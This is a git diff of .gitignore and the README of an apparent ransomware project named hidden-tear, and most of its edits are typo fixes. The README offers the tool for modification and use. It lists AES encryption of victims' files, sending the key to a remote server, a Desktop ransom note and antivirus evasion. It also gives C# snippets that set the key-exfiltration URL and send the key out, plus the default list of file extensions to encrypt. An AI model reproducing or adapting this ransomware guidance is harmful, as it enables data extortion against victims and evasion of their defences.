diff --git a/.gitignore b/.gitignore index 57a1574..cdfe323 100644 --- a/.gitignore +++ b/.gitignore @@ -25,7 +25,7 @@ bld/ # Visual Studo 2015 cache/options directory .vs/ -# MSTest test Results +# MSTest test Result [Tt]est[Rr]esult*/ [Bb]uild[Ll]og.* @@ -96,7 +96,7 @@ _ReSharper*/ # TeamCity is a build add-in _TeamCity* -# DotCover is a Code Coverage Tool +# DotCover is a Code Coverage Tools *.dotCover # NCrunch diff --git a/README.md b/README.md index a297964..7d854c5 100644 --- a/README.md +++ b/README.md @@ -5,14 +5,16 @@ | | | | | (_| | (_| | __/ | | | | || __/ (_| | | |_| |_|_|\__,_|\__,_|\___|_| |_| \__\___|\__,_|_| + + It's a ransomware-like file crypter sample which can be modified for specific purposes. **Features** * Uses AES algorithm to encrypt files. -* Sends encryption key to a server. +* Send encryption key to a server. * Encrypted files can be decrypt in decrypter program with encryption key. * Creates a text file in Desktop with given message. -* Small file size (12 KB) +* Small file size (13 KB). * Doesn't detected to antivirus programs (15/08/2015) http://nodistribute.com/result/6a4jDwi83Fzt **Demonstration Video** @@ -21,7 +23,7 @@ https://www.youtube.com/watch?v=LtiRISepIfs **Usage** -* You need to have a web server which supports scripting languages like php,python etc. Change this line with your URL. (You better use Https connection to avoid eavesdropping) +* You need to have a web server which support scripting languages like php,python etc. Change this line with your URL. (You better use Https connection to avoid eavesdropping). `string targetURL = "https://www.example.com/hidden-tear/write.php?info=";` @@ -33,7 +35,7 @@ https://www.youtube.com/watch?v=LtiRISepIfs var conent = new System.Net.WebClient().DownloadString(fullUrl); ``` -* Target file extensions can be change. Default list: +* Target file extensions can be change. Default lists: ``` var validExtensions = new[]{".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"};